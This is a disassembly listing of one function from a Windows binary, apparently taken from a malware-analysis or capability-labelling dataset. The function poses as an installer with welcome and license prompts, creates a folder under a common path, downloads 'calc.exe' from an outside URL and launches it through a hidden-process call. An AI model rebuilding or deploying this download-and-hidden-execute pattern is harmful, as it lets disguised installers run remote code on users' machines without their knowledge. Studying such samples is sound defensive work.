Function at 0x140001bd3
Capabilities:
Create directory
Get common file path

Disassembly:
push rbp
push rbx
sub rsp, 0x378
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x1af]
mov rcx, rax
call fcn.140082080
lea rdx, [rbp + 0x1af]
lea rax, [rbp + 0x180]
mov r8, rdx
lea rdx, str.Welcome_to_the_installer_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.showMessage_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1af]
mov rcx, rax
call sym.std::allocator_char_::allocator__
call sym.showLicenseAgreement__
xor eax, 1
test al, al
je 0x140001cb7
lea rax, [rbp + 0x1df]
mov rcx, rax
call fcn.140082080
lea rdx, [rbp + 0x1df]
lea rax, [rbp + 0x1b0]
mov r8, rdx
lea rdx, str.Installation_canceled_by_the_user.
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.showMessage_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1df]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov ebx, 0
jmp 0x140002050
lea rax, [rbp + 0x20d]
mov rcx, rax
call fcn.140082080
lea rdx, [rbp + 0x20d]
lea rax, [rbp + 0x1e0]
mov r8, rdx
lea rdx, str.Starting_installation...
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1e0]
mov rcx, rax
call sym.showMessage_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20d]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.1400e06a0
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x28
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
not eax
shr eax, 0x1f
test al, al
je 0x140001d66
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x160]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)
lea rax, [rbp + 0x20e]
mov rcx, rax
call fcn.140082080
lea rdx, [rbp + 0x20e]
lea rax, [rbp + 0x30]
mov r8, rdx
lea rdx, str.randomFolder
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x20e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x20f]
mov rcx, rax
call fcn.140082080
lea rdx, [rbp + 0x20f]
lea rax, [rbp + 0x10]
mov r8, rdx
lea rdx, str.calc.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x20f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x210]
lea rdx, [rbp + 0x160]
lea r8, [0x14010238a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x10]
lea rcx, [rbp + 0x30]
lea rdx, [rbp + 0x210]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x230]
lea rdx, [rbp - 0x10]
lea r8, [0x14010238a]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rax, [rbp - 0x30]
lea rcx, [rbp + 0x10]
lea rdx, [rbp + 0x230]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x230]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x10]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
lea rax, [rbp + 0x25f]
mov rcx, rax
call fcn.140082080
lea rdx, [rbp + 0x25f]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str.http:__calcexe.com_win7_64_calc.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x25f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.downloadFile_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
test al, al
je 0x140001fa4
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.startHiddenProcess_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
test al, al
je 0x140001f46
lea rax, [rbp + 0x28f]
mov rcx, rax
call fcn.140082080
lea rdx, [rbp + 0x28f]
lea rax, [rbp + 0x260]
mov r8, rdx
lea rdx, str.Installation_completed.
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x260]
mov rcx, rax
call sym.showMessage_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x260]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x28f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002000
lea rax, [rbp + 0x2bf]
mov rcx, rax
call fcn.140082080
lea rdx, [rbp + 0x2bf]
lea rax, [rbp + 0x290]
mov r8, rdx
lea rdx, str.An_error_occurred_during_installation.
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x290]
mov rcx, rax
call sym.showMessage_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x290]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2bf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002000
lea rax, [rbp + 0x2ef]
mov rcx, rax
call fcn.140082080
lea rdx, [rbp + 0x2ef]
lea rax, [rbp + 0x2c0]
mov r8, rdx
lea rdx, str.Download_failed.
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2c0]
mov rcx, rax
call sym.showMessage_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2ef]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov ebx, 0
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x160]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x140002242
add rsp, 0x378
pop rbx
pop rbp
ret